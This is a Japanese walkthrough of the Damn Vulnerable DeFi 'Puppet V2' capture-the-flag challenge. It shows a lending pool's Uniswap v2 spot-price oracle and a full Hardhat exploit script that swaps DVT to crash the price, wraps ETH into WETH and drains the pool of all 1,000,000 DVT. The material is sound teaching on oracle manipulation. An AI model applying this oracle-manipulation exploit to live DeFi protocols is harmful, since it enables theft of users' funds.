Damn Vulnerable DeFiは、DeFi スマートコントラクト攻撃のチャレンジシリーズです。内容には、フラッシュローン攻撃、レンディングプール、オンチェーンオラクルなどが含まれています。始める前に、Solidity と JavaScript の関連スキルを持っている必要があります。各問題では、その単体テストがパスすることを確認する必要があります。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/9.html
問題の説明:
前の問題で、レンディングプールの開発者が新しいバージョンをリリースしました。今回は、価格オラクルとして Uniswap v2 エクスチェンジと推奨されるツールキットを使用しています。
あなたは最初に 20ETH と 10000DVT を持っており、新しいレンディングプールには 100 万 DVT があります。レンディングプールの中の DVT をすべて借り出す必要があります。
この問題の解決策は前の問題と同じですが、異なる点はETH
がWETH
に変わったことです。WETH
は ERC20 標準に準拠したトークンであり、ETH
との価値比率は 1:1 です。
次に、価格オラクルとしてuniswap
の v2 バージョンを使用しています。v2 バージョンでは、トークン対トークンのペアリングコントラクトをサポートしており、この問題では WETH-DVT のペアリングコントラクトが使用されています。
提供されるレンディングコントラクトPuppetV2Pool.sol
の借り出し機能は次のとおりです。
function borrow(uint256 borrowAmount) external {
// このコントラクトが保持しているDVTの量が借り出し量よりも大きいことを確認する
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// 必要なWETHのデポジットを計算する
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);
// WETHをこのコントラクトに転送する
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
// デポジットしたWETHを記録する
deposits[msg.sender] += depositOfWETHRequired;
// DVTトークンをmsg.senderに転送する
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
DVT
を借り出すためには、WETH
をデポジットする必要があります。デポジットする WETH の量は次のメソッドで計算されます。
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
// 抵当の価値は借り出しのDVTの3倍である
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}
function _getOracleQuote(uint256 amount) private view returns (uint256) {
// WETHとDVTのリザーブを取得する
// getReservesは内部でペアリングコントラクトのアドレスを計算し、トークンのリザーブを返す
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
// DVTの価値を計算する
// amount / x = reservesToken / reservesWETH
// x = (amount * reservesWETH) / reservesToken
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
uniswap
には WETH-DVT のペアリングコントラクトがあり、リザーブ量はreservesWETH
とreservesToken
です。
DVT
の価値は次の式を満たします:
テストスクリプトpuppet-v2.challenge.js
では、次の初期化が行われます。
Uniswap
ファクトリーコントラクトに WETH-DVT のペアリングコントラクトがデプロイされ、流動性が 10WETH-100DVT に追加されます。attacker
に 10000DVT と 20ETH が転送されます。- レンディングプールコントラクトに 1000000DVT が転送されます。
ハッカーがすべての DVT を借り出す場合、コストは次のようになります。
WETH
とWTH
は 1:1 の等価であり、ハッカーは 20ETH しか持っていません。したがって、これは不可能です。
そのため、ハッカーは持っているDVT
をuniswap
でWETH
に交換することができます。これにより、WETH-DVT のペアリングコントラクトのDVT
のリザーブ量が増加し、WETH
のリザーブ量が減少します。つまり、DVT
の価値を計算する式では、分母が増加し、分子の値が減少します。したがって、DVT
の価値は全体的に低下します。
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallUniswap = this.uniswapRouter.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallWETH = this.weth.connect(attacker)
// init:
// Attacker ETH: 20.0
// Attacker WETH: 0.0
// Attacker DVT: 10000.0
// Uniswap WETH: 10.0
// Uniswap DVT: 100.0
// LendingPool DVT: 1000000.0
// Uniswapに対してハッカーのDVTトークンを承認する
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// DVTを使用してUniswapでWETHを交換する
await attackerCallUniswap.swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('9'),
[attackerCallToken.address, attackerCallWETH.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// Attacker ETH: 19.99975413442550073
// Attacker WETH: 9.900695134061569016
// Attacker DVT: 0.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 1000000.0
// 必要なWETHのデポジットを計算する
const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
// collateralCount: 29.49649483319732198
await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
const tx = {
to: attackerCallWETH.address,
value: ethers.utils.parseEther('19.9')
}
await attacker.sendTransaction(tx)
// DVTを借り出す
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// Attacker ETH: 0.099518462674923535
// Attacker WETH: 0.304200300864247036
// Attacker DVT: 1000000.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 0.0
// The WETH that the hacker deposited: 29.49649483319732198
})
最後に、yarn puppet-v2
を実行してテストがパスすることを確認します!